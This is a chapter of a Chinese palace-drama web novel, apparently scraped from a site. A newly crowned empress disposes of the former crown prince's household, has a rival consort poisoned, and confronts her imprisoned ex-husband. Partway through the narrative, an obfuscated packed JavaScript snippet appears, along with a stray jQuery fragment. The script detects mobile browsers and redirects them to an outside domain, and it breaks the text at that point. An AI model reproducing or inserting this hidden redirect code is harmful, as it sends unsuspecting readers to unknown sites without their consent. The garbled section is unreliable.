赵云荷也没有想到有一天,她的双手也如曾经的孟锦亦一般沾满鲜血。


    为权政,屠九族、杀满门,她似乎已经不再动摇。因她知晓自己想要什么。


    而那天被她刺中腹部的孟锦亦,已经被关入大牢。


    至于原东宫的其他人,都被侍卫看住,禁止外出,等候发落。


    他们等得太久了,朝廷上腥风血雨的换了一批朝臣,他们依旧还在东宫。


    他们甚至以为不会对他们再进行发落了,只因为……如今登上皇位的“月明”,曾经是他们东宫的人;或许她还对东宫有感情。


    而连襄知道,如今的月明其实并非月明,而是赵云荷。虽然没人告诉过她,但只消从孟锦亦对明月的重视与态度来看就知道了。


    或许孟锦亦真的成功将赵云荷招魂了回来,落在了月明身上。


    起初她很害怕。毕竟是她把她逼走的,如今回来了,怎会不报复?


    却未想到报复迟迟未到。


    她几乎都要以为是她对孟锦亦还有情义,不舍伤及东宫众人。


    直到她听闻皇帝驾到。


    赵云荷来了。


    连襄防的就是这天,她思索片刻,立即跑去将昭晏抱住;又让阿敏将海棠看好。


    而阿敏却是跌跌撞撞地回了屋,一脸慌张地看向连襄,后者心里一颤,连声问她:“怎么了?海棠呢?”


    “小世子他……他在赵云……不,在皇上身旁,”阿敏低头:“皇上让奴婢唤您带着昭宴出去……”


    “怎么这么快!”连襄也慌张起来,站起来时险些跌倒,早已无曾经的端庄。


    她手忙脚乱地抱起昭宴,慌里慌张地朝屋外走去。


    她不知道该以昭宴作威胁,使赵云荷不敢动他们;还是以昭宴作为交换,至其她把海棠还给她。


    在路上,连襄不断祈求着,只希望赵云荷对昭宴的重视程度足够让她们都能全身而退。


    可在与她视线相对时,连襄的心凉了半截。


    她努力拉起嘴角:“好久不见啊。看,你的孩子被我养得很好,她还学会了走路。”


    “放肆!面见皇上为何不拜?”赵云荷还未说话,她身边的大丫鬟星稀就站出来吼道。


    连襄有些愣住,咬住下嘴唇跪下拜见。


    她是皇帝,拜见她并非不合适;可她拜见的是赵云荷,不管怎样心里都是怪异的。


    连襄怎么都没想到,赵云荷居然能成为皇帝,她运气太好了。


    “这几年你照顾昭宴辛苦了,你身为长封公主,虽为逆贼孟锦亦的妻子,但我不会对你赶紧杀绝,”赵云荷摸着海棠的脑袋,缓缓将手挪向他的脖子,几乎是威胁:“只要你别耍花招。”


    连襄嘴角颤抖,努力瞪她:“皇上可知,您的亲生女儿在我手上。”


    赵云荷轻轻掠过她的脸,轻笑着将一切摊开来讲:“若没有那个实力,就别做威胁的事了。”


    她伸出手,指她、又指了阿敏,最后轻点海棠的脑袋:“只要我想,你们都活不了。”


    “我是长封公主!”


    “我知道,所以我才说,谁都活不了。”她一字一句地说着。


    连襄浑身战栗。


    她何尝不明白赵云荷的意思……她不怕得罪长风,甚至……有意继续掠夺长封的土地。


    她扯了扯嘴角,缓缓将昭宴递给她:“既是皇上的孩子,自然要由皇上抚育。”


    赵云荷轻拍海棠的后脑勺:“去吧。找你母亲。”


    “如今东宫已不适合再给你们居住了,搬出去吧,京城外,我给你们安排了住处。”


    这句话自然是明晃晃的命令。他们没有拒绝的权利;至于她为什么还要特意给他们安排住处,当然不是好心,而是为了监视他们。


    这也就意味着,海棠不再是小世子,而是逆贼之子。


    离开之前,赵云荷看到了燕贵妃;如今她已经算是太妃了。


    哦对了,是了,还有她。


    她特意让侍卫们把燕贵妃也带来东宫看管,怎么会把她忘记呢?


    赵云荷只招招手,便由两个公公将燕贵妃带来了。


    “许久不见,你又变漂亮了,”她抚上她的脸颊,掐住她的下巴:“年龄似乎并未在你身上留下痕迹。不愧是名动京城的美貌。”


    “可你还记得,这样的容貌是谁人给你的吗?”


    燕容语微微抬头,忍不住瑟缩了一下便急忙低头下去。


    “我要拿回来。”


    燕容语立即抬头起来,不住地摇头、跪在地上拉着她的衣角:“不要!求您了,皇上……我不能没有容貌……”


    这般卑微的模样,就好像曾经为了孟锦亦满脸憎恶地扇她耳光的不是她。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965504|160004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵云荷扯开自己的衣角,只给了星稀一个眼神,她便明白过来,令人按住燕容语,随后拿出了手中的毒药。


    她对此并不感兴趣,只是听到身后的惨叫声时,忽而有些怅然。


    她曾与她约定要为她恢复容貌的那个夜晚,那些纯粹和善意的心情她没忘,只是再回不去从前。


    不出数日,东宫被清空了。


    或许有的人死去了,或许有的人再也不会出现。


    东宫诸事处理完毕,如当日强行给赵家付诸罪名一样,孟锦亦也成了逆贼。


    他已然被关入大牢,只消等他自生自灭。


    只不过意料之外的,他挺到了现在,直至今日,他还在求侍卫让他见一面她。


    日日如此,从不间断。


    赵云荷无奈,都快要觉得如果她不去,那么孟锦亦会这样永远吊着一口气碍她的眼。


    那便只看一眼吧。


    牢狱昏暗,赵云荷点了一盏烛火,款款来到孟锦亦面前。


    光亮刺眼,却让他迫不及待地追寻过去,又恐自身污秽玷污了那光亮,不敢靠得太近。


    她声音冷淡高傲,已再无曾深爱他的模样:“朕只见你最后一面,还有何言?”


    那时候,他脑海里早已构建好的话语尽数崩塌。


    他想问她为什么这么绝情,想问她是不是真的一点都不爱他了……想问她,他们真的一丁点机会都没有了吗?


    这番情景,早已告诉了他答案。


    他只能在脑海中不断翻阅,挑选一个最有可能继续的话题:“昭宴,昭宴她还好吗?我想她了……”


    “那又如何?”


    “我、我至少是她的父亲。”


    “她的父亲有很多个,不缺你。”


    “可我是她的亲生父亲!没人比我更爱她!”


    “只要我想,就能有,”赵云荷皱眉看他似乎已经有些不耐烦了:“难道你爱她能爱过皇位么?”


    “况且,你现在说这些,也不过是为给自己寻求一线生机吧。如果你还要说这些,那么便不必浪费时间。”


    沉默片刻后,赵云荷几欲要走,孟锦亦忽然淡淡说了一句:“对不起……”


    赵云荷脚微顿,随后便毫不犹豫地向外走去,只留下了最后一句话:“不必,如果不是你,我也到不了这个位置。你让我明白,皇位是真的很好。”